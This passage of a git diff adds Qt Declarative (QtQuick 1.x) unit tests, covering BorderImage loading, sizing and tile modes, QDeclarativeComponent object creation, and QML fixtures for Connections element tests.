+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QTextDocument>
+#include <QTcpServer>
+#include <QTcpSocket>
+#include <QDir>
+#include <QGraphicsScene>
+#include <QPainter>
+
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativeborderimage_p.h>
+#include <private/qdeclarativeimagebase_p.h>
+#include <private/qdeclarativescalegrid_p_p.h>
+#include <private/qdeclarativeloader_p.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+
+#include "../shared/testhttpserver.h"
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+#define SERVER_PORT 14446
+#define SERVER_ADDR "http://127.0.0.1:14446"
+
+class tst_qdeclarativeborderimage : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeborderimage();
+
+private slots:
+ void noSource();
+ void imageSource();
+ void imageSource_data();
+ void clearSource();
+ void resized();
+ void smooth();
+ void mirror();
+ void tileModes();
+ void sciSource();
+ void sciSource_data();
+ void invalidSciFile();
+ void pendingRemoteRequest();
+ void pendingRemoteRequest_data();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativeborderimage::tst_qdeclarativeborderimage()
+{
+}
+
+void tst_qdeclarativeborderimage::noSource()
+{
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"\" }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->source(), QUrl());
+ QCOMPARE(obj->width(), 0.);
+ QCOMPARE(obj->height(), 0.);
+ QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch);
+ QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch);
+
+ delete obj;
+}
+
+void tst_qdeclarativeborderimage::imageSource_data()
+{
+ QTest::addColumn<QString>("source");
+ QTest::addColumn<bool>("remote");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << false << "";
+ QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << false
+ << "file::2:1: QML BorderImage: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString();
+ QTest::newRow("remote") << SERVER_ADDR "/colors.png" << true << "";
+ QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << true
+ << "file::2:1: QML BorderImage: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found";
+}
+
+void tst_qdeclarativeborderimage::imageSource()
+{
+ QFETCH(QString, source);
+ QFETCH(bool, remote);
+ QFETCH(QString, error);
+
+ TestHTTPServer *server = 0;
+ if (remote) {
+ server = new TestHTTPServer(SERVER_PORT);
+ QVERIFY(server->isValid());
+ server->serveDirectory(SRCDIR "/data");
+ }
+
+ if (!error.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, error.toUtf8());
+
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + source + "\" }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ if (remote)
+ QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Loading);
+
+ QCOMPARE(obj->source(), remote ? source : QUrl(source));
+
+ if (error.isEmpty()) {
+ QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Ready);
+ QCOMPARE(obj->width(), 120.);
+ QCOMPARE(obj->height(), 120.);
+ QCOMPARE(obj->sourceSize().width(), 120);
+ QCOMPARE(obj->sourceSize().height(), 120);
+ QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch);
+ QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch);
+ } else {
+ QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Error);
+ }
+
+ delete obj;
+ delete server;
+}
+
+void tst_qdeclarativeborderimage::clearSource()
+{
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: srcImage }";
+ QDeclarativeContext *ctxt = engine.rootContext();
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.png"));
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+ QVERIFY(obj->status() == QDeclarativeBorderImage::Ready);
+ QCOMPARE(obj->width(), 120.);
+ QCOMPARE(obj->height(), 120.);
+
+ ctxt->setContextProperty("srcImage", "");
+ QVERIFY(obj->source().isEmpty());
+ QVERIFY(obj->status() == QDeclarativeBorderImage::Null);
+ QCOMPARE(obj->width(), 0.);
+ QCOMPARE(obj->height(), 0.);
+}
+
+void tst_qdeclarativeborderimage::resized()
+{
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() + "\"; width: 300; height: 300 }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->width(), 300.);
+ QCOMPARE(obj->height(), 300.);
+ QCOMPARE(obj->sourceSize().width(), 120);
+ QCOMPARE(obj->sourceSize().height(), 120);
+ QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch);
+ QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch);
+
+ delete obj;
+}
+
+void tst_qdeclarativeborderimage::smooth()
+{
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/colors.png\"; smooth: true; width: 300; height: 300 }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->width(), 300.);
+ QCOMPARE(obj->height(), 300.);
+ QCOMPARE(obj->smooth(), true);
+ QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch);
+ QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch);
+
+ delete obj;
+}
+
+void tst_qdeclarativeborderimage::mirror()
+{
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/heart200.png\"; smooth: true; width: 300; height: 300; border { top: 50; right: 50; bottom: 50; left: 50 } }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ int width = obj->property("width").toInt();
+ int height = obj->property("height").toInt();
+
+ QGraphicsScene scene;
+ scene.addItem(qobject_cast<QGraphicsObject *>(obj));
+ QPixmap screenshot(width, height);
+ screenshot.fill();
+ QPainter p_screenshot(&screenshot);
+ scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+
+ QTransform transform;
+ transform.translate(width, 0).scale(-1, 1.0);
+ QPixmap expected = screenshot.transformed(transform);
+
+ obj->setProperty("mirror", true);
+ p_screenshot.fillRect(QRect(0, 0, width, height), Qt::white);
+ scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+
+ QCOMPARE(screenshot, expected);
+
+ delete obj;
+}
+
+void tst_qdeclarativeborderimage::tileModes()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/colors.png\"; width: 100; height: 300; horizontalTileMode: BorderImage.Repeat; verticalTileMode: BorderImage.Repeat }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->width(), 100.);
+ QCOMPARE(obj->height(), 300.);
+ QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Repeat);
+ QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Repeat);
+
+ delete obj;
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/colors.png\"; width: 300; height: 150; horizontalTileMode: BorderImage.Round; verticalTileMode: BorderImage.Round }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->width(), 300.);
+ QCOMPARE(obj->height(), 150.);
+ QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Round);
+ QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Round);
+
+ delete obj;
+ }
+}
+
+void tst_qdeclarativeborderimage::sciSource()
+{
+ QFETCH(QString, source);
+ QFETCH(bool, valid);
+
+ bool remote = source.startsWith("http");
+ TestHTTPServer *server = 0;
+ if (remote) {
+ server = new TestHTTPServer(SERVER_PORT);
+ QVERIFY(server->isValid());
+ server->serveDirectory(SRCDIR "/data");
+ }
+
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + source + "\"; width: 300; height: 300 }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ if (remote)
+ QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Loading);
+
+ QCOMPARE(obj->source(), remote ? source : QUrl(source));
+ QCOMPARE(obj->width(), 300.);
+ QCOMPARE(obj->height(), 300.);
+
+ if (valid) {
+ QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Ready);
+ QCOMPARE(obj->border()->left(), 10);
+ QCOMPARE(obj->border()->top(), 20);
+ QCOMPARE(obj->border()->right(), 30);
+ QCOMPARE(obj->border()->bottom(), 40);
+ QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Round);
+ QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Repeat);
+ } else {
+ QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Error);
+ }
+
+ delete obj;
+ delete server;
+}
+
+void tst_qdeclarativeborderimage::sciSource_data()
+{
+ QTest::addColumn<QString>("source");
+ QTest::addColumn<bool>("valid");
+
+ QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors-round.sci").toString() << true;
+ QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.sci").toString() << false;
+ QTest::newRow("remote") << SERVER_ADDR "/colors-round.sci" << true;
+ QTest::newRow("remote image") << SERVER_ADDR "/colors-round-remote.sci" << true;
+ QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.sci" << false;
+}
+
+void tst_qdeclarativeborderimage::invalidSciFile()
+{
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeGridScaledImage: Invalid tile rule specified. Using Stretch."); // for "Roun"
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeGridScaledImage: Invalid tile rule specified. Using Stretch."); // for "Repea"
+
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + QUrl::fromLocalFile(SRCDIR "/data/invalid.sci").toString() +"\"; width: 300; height: 300 }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->width(), 300.);
+ QCOMPARE(obj->height(), 300.);
+ QCOMPARE(obj->status(), QDeclarativeImageBase::Error);
+ QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch);
+ QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch);
+
+ delete obj;
+}
+
+void tst_qdeclarativeborderimage::pendingRemoteRequest()
+{
+ QFETCH(QString, source);
+
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" + source + "\" }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->status(), QDeclarativeBorderImage::Loading);
+
+ // verify no crash
+ // This will cause a delayed "QThread: Destroyed while thread is still running" warning
+ delete obj;
+ QTest::qWait(50);
+}
+
+void tst_qdeclarativeborderimage::pendingRemoteRequest_data()
+{
+ QTest::addColumn<QString>("source");
+
+ QTest::newRow("png file") << "http://localhost/none.png";
+ QTest::newRow("sci file") << "http://localhost/none.sci";
+}
+
+void tst_qdeclarativeborderimage::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; BorderImage { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; BorderImage { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativeborderimage::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("mirror") << "mirror: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"BorderImage.mirror\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("cache") << "cache: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"BorderImage.cache\" is not available in QtQuick 1.0.\n";
+}
+
+QTEST_MAIN(tst_qdeclarativeborderimage)
+
+#include "tst_qdeclarativeborderimage.moc"
diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObject.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObject.qml
new file mode 100644
index 00000000..4a067911
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativecomponent/data/createObject.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+Item{
+ id: root
+ property QtObject qobject : null
+ property QtObject declarativeitem : null
+ property QtObject graphicswidget: null
+ Component{id: a; QtObject{} }
+ Component{id: b; Item{} }
+ Component{id: c; QGraphicsWidget{} }
+ Component.onCompleted: {
+ root.qobject = a.createObject(root);
+ root.declarativeitem = b.createObject(root);
+ root.graphicswidget = c.createObject(root);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
new file mode 100644
index 00000000..0da3bda5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
@@ -0,0 +1,43 @@
+import QtQuick 1.0
+
+Item{
+ id: root
+ property QtObject declarativerectangle : null
+ property QtObject declarativeitem : null
+
+ property QtObject bindingTestObject : null
+ property QtObject bindingThisTestObject : null
+
+ Component{
+ id: a
+ Rectangle {
+ property Rectangle innerRect: Rectangle { border.width: 20 }
+ }
+ }
+ Component{
+ id: b
+ Item{
+ property bool testBool: false
+ property int testInt: null
+ property QtObject testObject: null
+ }
+ }
+
+ // test passing in bindings
+ width: 100
+ Component {
+ id: c
+ Item {
+ property int testValue
+ width: 300
+ }
+ }
+
+ Component.onCompleted: {
+ root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white", "border.width":3, "innerRect.border.width": 20});
+ root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
+
+ root.bindingTestObject = c.createObject(root, {'testValue': (function(){return width * 3}) }) // use root.width
+ root.bindingThisTestObject = c.createObject(root, {'testValue': (function(){return this.width * 3}) }) // use width of Item within 'c'
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativecomponent/qdeclarativecomponent.pro b/tests/auto/declarative/qdeclarativecomponent/qdeclarativecomponent.pro
new file mode 100644
index 00000000..4124f946
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativecomponent/qdeclarativecomponent.pro
@@ -0,0 +1,13 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+QT += script network
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativecomponent.cpp
+
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
new file mode 100644
index 00000000..749640a7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
@@ -0,0 +1,173 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QDebug>
+
+#include <QtGui/qgraphicsitem.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+#include <QtDeclarative/qdeclarativeproperty.h>
+#include <qcolor.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativecomponent : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativecomponent() { }
+
+private slots:
+ void null();
+ void loadEmptyUrl();
+ void qmlCreateObject();
+ void qmlCreateObjectWithProperties();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+void tst_qdeclarativecomponent::null()
+{
+ {
+ QDeclarativeComponent c;
+ QVERIFY(c.isNull());
+ }
+
+ {
+ QDeclarativeComponent c(&engine);
+ QVERIFY(c.isNull());
+ }
+}
+
+
+void tst_qdeclarativecomponent::loadEmptyUrl()
+{
+ QDeclarativeComponent c(&engine);
+ c.loadUrl(QUrl());
+
+ QVERIFY(c.isError());
+ QCOMPARE(c.errors().count(), 1);
+ QDeclarativeError error = c.errors().first();
+ QCOMPARE(error.url(), QUrl());
+ QCOMPARE(error.line(), -1);
+ QCOMPARE(error.column(), -1);
+ QCOMPARE(error.description(), QLatin1String("Invalid empty URL"));
+}
+
+void tst_qdeclarativecomponent::qmlCreateObject()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/createObject.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QObject *testObject1 = object->property("qobject").value<QObject*>();
+ QVERIFY(testObject1);
+ QVERIFY(testObject1->parent() == object);
+
+ QObject *testObject2 = object->property("declarativeitem").value<QObject*>();
+ QVERIFY(testObject2);
+ QVERIFY(testObject2->parent() == object);
+ QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem");
+
+ //Note that QGraphicsObjects are not exposed to QML for instantiation, and so can't be used in a component directly
+ //Also this is actually the extended type QDeclarativeGraphicsWidget, but it still doesn't inherit QDeclarativeItem
+ QGraphicsObject *testObject3 = qobject_cast<QGraphicsObject*>(object->property("graphicswidget").value<QObject*>());
+ QVERIFY(testObject3);
+ QVERIFY(testObject3->parent() == object);
+ QVERIFY(testObject3->parentItem() == qobject_cast<QGraphicsObject*>(object));
+ QCOMPARE(testObject3->metaObject()->className(), "QDeclarativeGraphicsWidget");
+}
+
+void tst_qdeclarativecomponent::qmlCreateObjectWithProperties()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/createObjectWithScript.qml"));
+ QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8());
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QObject *testObject1 = object->property("declarativerectangle").value<QObject*>();
+ QVERIFY(testObject1);
+ QVERIFY(testObject1->parent() == object);
+ QCOMPARE(testObject1->property("x").value<int>(), 17);
+ QCOMPARE(testObject1->property("y").value<int>(), 17);
+ QCOMPARE(testObject1->property("color").value<QColor>(), QColor(255,255,255));
+ QCOMPARE(QDeclarativeProperty::read(testObject1,"border.width").toInt(), 3);
+ QCOMPARE(QDeclarativeProperty::read(testObject1,"innerRect.border.width").toInt(), 20);
+ delete testObject1;
+
+ QObject *testObject2 = object->property("declarativeitem").value<QObject*>();
+ QVERIFY(testObject2);
+ QVERIFY(testObject2->parent() == object);
+ //QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem_QML_2");
+ QCOMPARE(testObject2->property("x").value<int>(), 17);
+ QCOMPARE(testObject2->property("y").value<int>(), 17);
+ QCOMPARE(testObject2->property("testBool").value<bool>(), true);
+ QCOMPARE(testObject2->property("testInt").value<int>(), 17);
+ QCOMPARE(testObject2->property("testObject").value<QObject*>(), object);
+ delete testObject2;
+
+ QObject *testBindingObj = object->property("bindingTestObject").value<QObject*>();
+ QVERIFY(testBindingObj);
+ QCOMPARE(testBindingObj->parent(), object);
+ QCOMPARE(testBindingObj->property("testValue").value<int>(), 300);
+ object->setProperty("width", 150);
+ QCOMPARE(testBindingObj->property("testValue").value<int>(), 150 * 3);
+ delete testBindingObj;
+
+ QObject *testBindingThisObj = object->property("bindingThisTestObject").value<QObject*>();
+ QVERIFY(testBindingThisObj);
+ QCOMPARE(testBindingThisObj->parent(), object);
+ QCOMPARE(testBindingThisObj->property("testValue").value<int>(), 900);
+ testBindingThisObj->setProperty("width", 200);
+ QCOMPARE(testBindingThisObj->property("testValue").value<int>(), 200 * 3);
+ delete testBindingThisObj;
+}
+
+QTEST_MAIN(tst_qdeclarativecomponent)
+
+#include "tst_qdeclarativecomponent.moc"
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/connection-targetchange.qml b/tests/auto/declarative/qdeclarativeconnection/data/connection-targetchange.qml
new file mode 100644
index 00000000..dd92cb9c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/connection-targetchange.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+
+Item {
+ Component {
+ id: item1
+ Item {
+ objectName: "item1"
+ }
+ }
+ Component {
+ id: item2
+ Item {
+ objectName: "item2"
+ }
+ }
+ Loader {
+ id: loader
+ sourceComponent: item1
+ }
+ Connections {
+ objectName: "connections"
+ target: loader.item
+ onWidthChanged: loader.sourceComponent = item2
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-ignored.qml b/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-ignored.qml
new file mode 100644
index 00000000..459c3461
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-ignored.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Item {
+ id: screen
+
+ Connections { target: screen; onNotFooBar1: {} ignoreUnknownSignals: true }
+ Connections { objectName: "connections"; onNotFooBar2: {} ignoreUnknownSignals: true }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-notarget.qml b/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-notarget.qml
new file mode 100644
index 00000000..8eddf43f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-notarget.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Item {
+ id: screen
+
+ Connections { objectName: "connections"; target: null; onNotFooBar: {} }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-parent.qml b/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-parent.qml
new file mode 100644
index 00000000..953347a3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals-parent.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Item {
+ id: screen
+
+ Connections { objectName: "connections"; onFooBar: {} }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals.qml b/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals.qml
new file mode 100644
index 00000000..3702bdbe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/connection-unknownsignals.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Item {
+ id: screen
+
+ Connections { objectName: "connections"; target: screen; onFooBar: {} }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/error-object.qml b/tests/auto/declarative/qdeclarativeconnection/data/error-object.qml
new file mode 100644
index 00000000..376a2182
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/error-object.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Item {
+ Connections {
+ onClicked: Item {}
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/error-property.qml b/tests/auto/declarative/qdeclarativeconnection/data/error-property.qml
new file mode 100644
index 00000000..677af152
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/error-property.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ Connections { fakeProperty: {} }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/error-property2.qml b/tests/auto/declarative/qdeclarativeconnection/data/error-property2.qml
new file mode 100644
index 00000000..127e58e6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/error-property2.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ Connections { onfakeProperty: {} }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/error-syntax.qml b/tests/auto/declarative/qdeclarativeconnection/data/error-syntax.qml
new file mode 100644
index 00000000..6a82528e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/error-syntax.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Item {
+ Connections {
+ onClicked {
+ onPressed: {}
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/test-connection.qml b/tests/auto/declarative/qdeclarativeconnection/data/test-connection.qml
new file mode 100644
index 00000000..c5990830
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/test-connection.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Item {
+ id: screen; width: 50
+
+ property bool tested: false
+ signal testMe
+
+ Connections { target: screen; onWidthChanged: screen.tested = true }
+}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/test-connection2.qml b/tests/auto/declarative/qdeclarativeconnection/data/test-connection2.qml
new file mode 100644
index 00000000..f0dbaba5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/test-connection2.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Connections { id: connection; target: connection; onTargetChanged: 1 == 1 }
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/test-connection3.qml b/tests/auto/declarative/qdeclarativeconnection/data/test-connection3.qml
new file mode 100644
index 00000000..94c9c7ca
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/test-connection3.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Connections {}
diff --git a/tests/auto/declarative/qdeclarativeconnection/data/trimming.qml b/tests/auto/declarative/qdeclarativeconnection/data/trimming.qml
new file mode 100644
index 00000000..00507d91
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeconnection/data/trimming.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Item {
